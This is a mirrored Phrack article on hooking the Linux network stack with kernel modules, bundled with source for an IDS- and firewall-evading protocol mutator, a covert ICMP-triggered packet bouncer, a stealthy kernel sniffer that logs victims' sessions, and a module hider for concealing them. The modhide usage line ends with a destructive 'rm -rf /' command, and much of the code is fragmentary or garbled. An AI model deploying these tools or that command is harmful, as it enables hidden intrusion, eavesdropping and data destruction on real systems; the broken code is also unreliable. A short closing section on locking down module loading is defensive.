As we all know, the Linux kernel has a monolithic architecture. That basically
means that every piece of code that is executed by the kernel has to be loaded
into kernel memory. To prevent having to rebuild the kernel every time new
hardware is added (to add drivers for it), Mr. Linus Torvalds and the gang
came up with the loadable module concept that we all came to love: the linux
kernel modules (lkm's for short). This article begins by pointing out yet more
interesting things that can be done using lkm's in the networking layer, and
finishes by trying to provide a solution to kernel backdooring.
----[ Socket Kernel Buffers
TCP/IP is a layered set of protocols. This means that the kernel needs to use
several routine functions to process the different packet layers in order to
fully "understand" the packet and connect it to a socket, etc. First, it
needs a routine to handle the link-layer header and, once processed there, the
packet is passed to the IP-layer handling routine(s), then to the transport-
layer routine(s) and so on. Well, the different protocols need a way
to communicate with each other as the packets are being processed. Under Linux
the answer to this are socket kernel buffers (or sk_buff's). These are used to
pass data between the different protocol layers (handling routines) and
the network device drivers.
The sk_buff{} structure (only the most important items are presented, see
linux/include/linux/skbuff.h for more):
next: pointer to the next sk_buff{}.
prev: pointer to the previous sk_buff{}.
dev: device we are currently using.
head: pointer to beginning of buffer which holds our packet.
data: pointer to the actual start of the protocol data. This may vary
depending of the protocol layer we are on.
tail: pointer to the end of protocol data, also varies depending of the
protocol layer using he sk_buff.
end: points to the end of the buffer holding our packet. Fixed value.
For further enlightenment, imagine this:
- host A sends a packet to host B
- host B receives the packet through the appropriate network device.
- the network device converts the received data into sk_buff data structures.
- those data structures are added to the backlog queue.
- the scheduler then determines which protocol layer to pass the received
packets to.
Thus, our next question arises... How does the scheduler determine which
protocol to pass the data to? Well, each protocol is registered in a
packet_type{} data structure which is held by either the ptype_all list or
the ptype_base hash table. The packet_type{} data structure holds information
on protocol type, network device, pointer to the protocol's receive data
processing routine and a pointer to the next packet_type{} structure. The
network handler matches the protocol types of the incoming packets (sk_buff's)
with the ones in one or more packet_type{} structures. The sk_buff is then
passed to the matching protocol's handling routine(s).
----[ The Hack
What we do is code our own kernel module that registers our packet_type{}
data structure to handle all incoming packets (sk_buff's) right after they
come out of the device driver. This is easier than it seems. We simply fill
in a packet_type{} structure and register it by using a kernel exported
function called dev_add_pack(). Our handler will then sit between the device
driver and the next (previously the first) routine handler. This means that
every sk_buff that arrives from the device driver has to pass first through our
packet handler.
----[ The Examples
We present you with three real-world examples, a protocol "mutation" layer,
a kernel-level packet bouncer, and a kernel-level packet sniffer.
----[ OTP (Obscure Transport Protocol)
The first one is really simple (and fun too), it works in a client-server
paradigm, meaning that you need to have two modules loaded, one on the client
and one on the server (duh). The client module catches every TCP packet with
the SYN flag on and swaps it with a FIN flag. The server module does exactly
the opposite, swaps the FIN for a SYN. I find this particularly fun since both
sides behave like a regular connection is undergoing, but if you watch it on
the wire it will seem totally absurd. This can also do the same for ports and
source address. Let's look at an example taken right from the wire.
Imagine the following scenario, we have host 'doubt' who wishes to make a
telnet connection to host 'hardbitten'. We load the module in both sides
telling it to swap port 23 for 80 and to swap a SYN for a FIN and vice-versa.
[lifeline@doubt ITP]$ telnet hardbitten
A regular connection (without the modules loaded) looks like this:
When, what is happening in fact, is that 'doubt' is (successfully) requesting a
telnet session to host 'hardbitten'. This is a nice way to evade IDSes and
many firewall policies. It is also very funny. :-)
Ah, There is a problem with this, when closing a TCP connection the FIN's are
replaced by SYN's because of the reasons stated above, there is, however, an
easy way to get around this, is to tell our lkm just to swap the flags when the
socket is in TCP_LISTEN, TCP_SYN_SENT or TCP_SYN_RECV states. I have not
implemented this partly to avoid misuse by "script kiddies", partly because of
laziness and partly because I'm just too busy. However, it is not hard to do
this, go ahead and try it, I trust you.
----[ A Kernel Traffic Bouncer
This packet relaying tool is mainly a proof of concept work at this point.
This one is particularly interesting when combined with the previous example.
We load our module on the host 'medusa' that then sits watching every packet
coming in. We want to target host 'hydra' but this one only accepts telnet
connections from the former. However, it's too risky to log into 'medusa'
right now, because root is logged. No problem, we send an ICMP_ECHO_REQUEST
packet that contains a magic cookie or password and 2 ip's and 2 ports like:
<sourceip:srcport, destip:destport>. We can however omit srcport without too
much trouble (as we did on the example shown below). Our module then accepts
this cookie and processes it. It now knows that any packet coming from
sourceip:srcport into medusa:destport is to be sent to destip:destport.
- any packet coming to host medusa from `sourceip:srcprt` with destination
port `dstport` is routed to `destip`, and vice-versa. The packets are
never processed by the rest of the stack on medusa.
Note that as I said above, in the coded example we removed `srcprt` from the
information sent to the bouncer. This means it will accept packets from any
source port. This can be dangerous: imagine that I have this bouncing rule
processed on host 'medusa':
<intruder, hydra:23>
Now try to telnet from 'medusa' to 'hydra'. You won't make it. Every packet
coming back from hydra is sent to 'intruder', so no response appears to the
user executing the telnet. Intruder will drop the packets obviously, since he
didn't start a connection. Using a source port on the rule minimizes this
risk, but there is still a possibility (not likely) that a user on medusa uses
the same source port we used on our bouncing rule. This should be possible to
avoid by reserving the source port on host medusa (see masquerading code in
the kernel).
As a side note, this technique can be used on almost all protocols, even those
without port abstraction (UDP/TCP). Even icmp bouncing should be possible
using cookies. This is a more low-level approach than ip masquerading, and
IMHO a much better one :)
Issues with the bouncer:
- Source port ambiguity. My suggestion to solving this is to accept the
rules without a source port, and then add that to the rule after a SYN packet
reaches the bouncer. The rule then only affects that connection. The
source port is then cleared by an RST or a timeout waiting for packets.
- No timeout setting on rules.
- The bouncer does not handle IP fragments.
Also, there's a bigger issue in hand. Notice in the source that I'm sending
the packets right through the device they came. This is a bad situation for
routers. This happens because I only have immediate access to the hardware
address of the originating packet's device. To implement routing to another
device, we must consult IP routing tables, find the device that is going to
send the packet, and the destination machine's MAC address (if it is an
ethernet device), that may only be available after an ARP request. It's tricky
stuff. This problem, depending on the network, can become troublesome.
Packets could be stuck on 2 hosts looping until they expire (via TTL), or, if
the network has traffic redundancy, they might escape safely.
----[ A Kernel Based Sniffer
Another proof of concept tool, the sniffer is a bit simpler in concept than
the bouncer. It just sits in its socket buffer handler above all other
protocol handlers and listens for, say, TCP packets, and then logs them to a
file. There are some tricks to it of course... We have to be able to
identify packets from different connections, and better yet, we have to
order out-of-sequence tcp packets, in order to get coherent results. This
is particularly nasty in case of telnet connections.
(a timeout feature is
missing too, and the capability
of sniffing more than one connection at a given moment (this one is tricky).
Ideally, the module should store all results in kernel memory and send them
back to us (if we say, send it a special packet). But this is a proof of
concept, and it is not a finished "script kiddies" product, so I leave you
smart readers to polish the code, learn it, and experiment with it :)
----[ A Solution For Kernel Harassing
So, having fun kicking kernel ass from left to right? Let's end the tragedy,
the linux kernel is your friend! :) Well, I've read Silvio's excellent article
about patching the kernel using /dev/kmem, so obviously compiling the kernel
without module support is not enough. I leave you with an idea. It should be
fairly simple to code. It's a module (yes, another one), that when loaded
prevents any other modules to load, and turns /dev/kmem into a read-only
device (kernel memory can only be accessed with ring 0 privilege). So
without any kernel routine made available to the outside, the kernel is the
only one that can touch it's own memory. Readers should know that this is not
something new. Securelevels are (somewhat) implemented in kernels 2.0.x and
do some cool stuff like not allowing writing directly to critical devices,
such as /dev/kmem, /dev/mem, and /dev/hd*. This was not implemented in 2.2.x,
so it would be nice to have a module like this. When an administrator is
through loading modules, and wants to leave the system just a bit more secure,
he loads the 'lock' module, and presto, no more kernel harassing. This must
be of course be accompanied by other measures. I believe a real secure system
should have this module installed and the kernel image file stored on a read
only media, such as a floppy disk drive, and no boot loader such as lilo.
You should also be worried about securing the CMOS data. You just want to
boot using the floppy. Securing the CMOS data can be tricky on a rooted
system as I noticed on a recent discussion on irc (liquidk, you intelligent
bastard), but this is out of the scope of this article. This idea could
also be implemented directly in the kernel without using modules. Mainly I
would like to see a real secure levels implementation on 2.2.x :)
---[ References
+ The Linux Kernel by David A. Rusling
+ TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
+ Phrack Issue 52, article 18 (P52-18) by plaguez.
+ Windows 98 Unleashed by Stev...oh. no. wait, this can't be right... :-)
----[ Acknowledgements
Both the authors would like to thank to:
+ HPT (http://www.hackers-pt.org) for being a bunch of idiots (hehe).
+ pmsac@toxyn.org for support and coming up with the idea for the
kernel based sniffer.
+ LiquidK for coming up with the OTP concept and fucking up some of
our seemingly 'invincible' concepts :)
+ All of you leet hackers from Portugal, you know who you are.
The scene shall be one again!! :)
----[ The Code: OTP
<++> P55/Linux-lkm/OTP/otp.c !bf8d47e0
/*
* Obscure Transport Protocol
*
* Goal: Change TCP behavior to evade IDS and firewall policies.
*
* lifeline (c) 1999
* <arai@hackers-pt.org>
*
* gcc -O6 -c otp.c -I/usr/src/linux/include
* insmod otp.o dev=eth0 ip=123.123.123.123
*
* In ip= use only numerical dotted ip's!!
* Btw, this is the ip of the other machine that also has the module.
*
* Load this module in both machines putting in the ip= argument each other's
* machine numerical dotted ip.
*
* Oh, and don't even think about flaming me if this fucks up your machine,
* it works fine on mine with kernel 2.2.5.
* This tool stands on its own. I'm not responsible for any damage caused by it.
*
* You will probably want to make some arrangements with the #define's below.
*
*/
/* Define here if you want to swap ports also */
#define REALPORT 23 /* port you which to communicate */
#define FAKEPORT 80 /* port that appears on the wire */
__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != ' ') {
val = 0;
while (*str != ' ' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != ' ')
str++;
}
}
return(htonl(l));
}
if (dev) {
d = dev_get(dev);
if (!d) {
printk("Did not find device %s!n", dev);
printk("Using all known devices...");
}
else {
printk("Using device %s, ifindex: %in",
dev, d->ifindex);
otp_proto.dev = d;
}
}
else
printk("Using all known devices(wildcarded)...n");
<++> P55/Linux-lkm/Bouncer/brules.c !677bd859
/*
* Kernel Bouncer - Rules Client
* brules.c
*
* lifeline|arai (c) 1999
* arai@hackers-pt.org
*
* Btw, needs libnet (http://www.packetfactory.net/libnet).
* Be sure to use 0.99d or later or this won't work due to a bug in previous versions.
*
* Compile: gcc brules.c -lnet -o brules
* Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule
*
* srcaddr - source address
* dstaddr - destination adress (host with the bouncer loaded)
* password - magic string for authentication with module
* srcaddr-rule - source address of new bouncing rule
* dstaddr-rule - destination address of new bouncing rule
* dstport-rule - destination port of new bouncing rule
* protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules
*
* Example:
* # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp
*
* This well tell 'host.domain.com' to redirect all connections to port 23
* from '192.10.10.10', using TCP as the transport protocol, to the same port,
* using the same protocol, of host '202.10.10.10'.
* Of course, host.domain.com has to be with the module loaded.
*
* Copyright (c) 1999 lifeline <arai@hackers-pt.org>
* All rights reserved.
*
*/
printf("Kernel Bouncer - Rules Clientn");
printf("lifeline|arai (c) 1999nn");
printf("Rules packet sent to %s.n", argv[2]);
free(rules);
free(payload);
free(buf);
}
<-->
<++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c
/*
* krnbouncer.c - A kernel based bouncer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - manage to send a packet thru another device than the one
* the packet is originating from (difficult, but not important)
* - implement a timeout for the bounce rules
* - the rules should store a source port for checking the
* connection (important)
* - turn this into a totally protocol independent IP based
* bouncer (quite a challenge :))
*
* NOTE : don't try to use this module to bounce connections of different
* types, such as bouncing packets from a ppp device to an ethernet
* device and vice-versa. That was not tested and may crash your
* machine.
*/
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
/* Now change the hardware MAC address and rebuild the hardware
* header. no need to allocate space in the skb, since we're dealing
* with packets coming directly from the driver, with all fields
* complete.
*/
m_memcpy(dst_hw_addr, skb->mac.ethernet->h_source, 6);
/* Convert an ASCII string to binary IP. */
__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != ' ') {
val = 0;
while (*str != ' ' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != ' ')
str++;
}
}
return(htonl(l));
}
/* the other way around. */
char *in_ntoa(__u32 in) {
static char buff[18];
char *p;
int m_strlen(char *ptr) {
int i = 0;
while (*ptr) {
ptr++;
i++;
}
return i;
}
/* EOF */
<-->
<++> P55/Linux-lkm/krnsniff/krnsniff.c !4adeadb3
/*
* krnsniff.c v0.1a - A kernel based sniffer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas.
* - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - implement a timeout feature (IMPORTANT)
* - better support for certain stupid ppp devices that don't set
* dev->hard_header_len correctly.
* - Parallel logging (like linsniff.c, this thing is still just
* logging one connection at a time).
* - fix strange kmem grows kernel bitchings (FIXED) ...i think
* - store the logs in kernel memory and send them and clear them
* when a magic packet is sent.
* - some weird shit happens in my LAN on incoming connections
* that fucks up the logs a bit, but this was not confirmed
* on other tests. It has to do with packets not increasing seq
* numbers, I think.
* - This wasn't tested on a promisc system, but it should work
* without almost no modifications.
*
* NOTE: the purpose of this module is to expose the dangers of a rooted
* system. It is virtually impossible to detect, if used with a module
* hidder.
* This could also be developed further to become a simple and easy way
* to detect unauthorized network intrusions.
*
* Oh, and script kiddies, don't read the FUCKING source, I hope you
* have shit loads of kernel faults and you lose all your 31337 0wn3d
* s1t3z... grrr.
*
* look at least at the LOGFILE define below before compiling.
*/
/* from a piece of pmsac's code... this is pratic :) */
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
#define TRUE -1
#define FALSE 0
#define CAPTLEN 512 /* no. of bytes to log */
/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE "/tmp/sniff.log"
/* global data */
int debug, errno,
out_c, in_c, thru_c; /* packet counters */
struct {
unsigned short active;
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
unsigned long totlen;
struct t_data *data;
} victim;
switch (skb->pkt_type) {
case PACKET_OUTGOING:
out_c++;
/* dont count with the hardware header
* since my stupid ippp device does not set this...
* add more devices here.
*/
if(strstr(dv->name, "ppp"))
skb->len -= 10;
else
skb->len -= dv->hard_header_len;
break;
case PACKET_HOST:
in_c++;
skb->len -= dv->hard_header_len;
break;
case PACKET_OTHERHOST:
thru_c++;
skb->len -= dv->hard_header_len;
break;
default:
kfree_skb(skb);
return 0;
}
if(filter(skb)) {
kfree_skb(skb);
return 0;
}
/* rare case of NULL's in buffer contents */
if (m_strlen(skb->data) < skb->len)
skb->len = m_strlen(skb->data);
/*
* putting it in the ordered list.
*/
i = victim.data;
if(ptr->seq < i->seq) {
/*
* we caught a packet "younger" than the starting SYN.
* Likely? no. Possible? yep. forget the bastard.
*/
kfree(ptr);
return;
}
/* actual ordering of tcp packets */
while (ptr->seq >= i->seq) {
if (ptr->seq == i->seq)
return; /* seq not incremented (no data) */
if (!i->next)
break;
if (i->next->seq > ptr->seq)
break;
i = i->next;
}
void end_victim(void) {
/*
* Im now saving the data to a file. This is mainly BSD's process accounting
* code, as seen in the kernel sources.
*/
struct t_data *ptr;
struct file *file = NULL;
struct inode *inode;
mm_segment_t fs;
if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!n", dev);
DBGPRN1("Sniffing all known devices...");
}
else {
DBGPRN3("Sniffing device %s, ifindex: %in",
dev, d->ifindex);
sniff_proto.dev = d;
}
}
else
DBGPRN1("Sniffing all known devices...n");
sniff_proto.type = htons(ETH_P_ALL);
/* this one just gets us incoming packets */
/* sniff_proto.type = htons(ETH_P_IP); */
/* EOF */
<-->
<++> P55/Linux-lkm/modhide/modhide.c !c9a65c89
/*
* generic module hidder, for 2.2.x kernels.
*
* by kossak (kossak@hackers-pt.org || http://www.hackers-pt.org/kossak)
*
* This module hides the last module installed. With little mind work you can
* put it to selectivly hide any module from the list.
*
* insmod'ing this module will allways return an error, something like device
* or resource busy, or whatever, meaning the module will not stay installed.
* Run lsmod and see if it done any good. If not, see below, and try until you
* suceed. If you dont, then the machine has a weird compiler that I never seen.
* It will suceed on 99% of all intel boxes running 2.2.x kernels.
*
* The module is expected not to crash when it gets the wrong register, but
* then again, it could set fire to your machine, who knows...
*
* Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52.
* The thing about this on 2.2.x is that kernel module symbol information is
* also referenced by this pointer, so this hides all of the stuff :)
*
* DISCLAIMER: If you use this for the wrong purposes, your skin will fall off,
* you'll only have sex with ugly women, and you'll be raped in
* jail by homicidal maniacs.
*
* Anyway, enjoy :)
*
* USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf /
*/
/*
* if at first you dont suceed, try:
* %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp
* I cant make this automaticly, because I'll fuck up the registers If I do
* any calculus here.
*/
register struct module *mp asm("%ebx");
if (mp->init == &init_module) /* is it the right register? */
if (mp->next) /* and is there any module besides this one? */
mp->next = mp->next->next; /* cool, lets hide it :) */
return -1; /* the end. simple heh? */
}
/* EOF */
<-->
----[ EOF
707 Прочтений • [[Phrack] Building Into The Linux Network Layer (security linux tcp)] [08.05.2012] [Комментариев: 0]
Vova
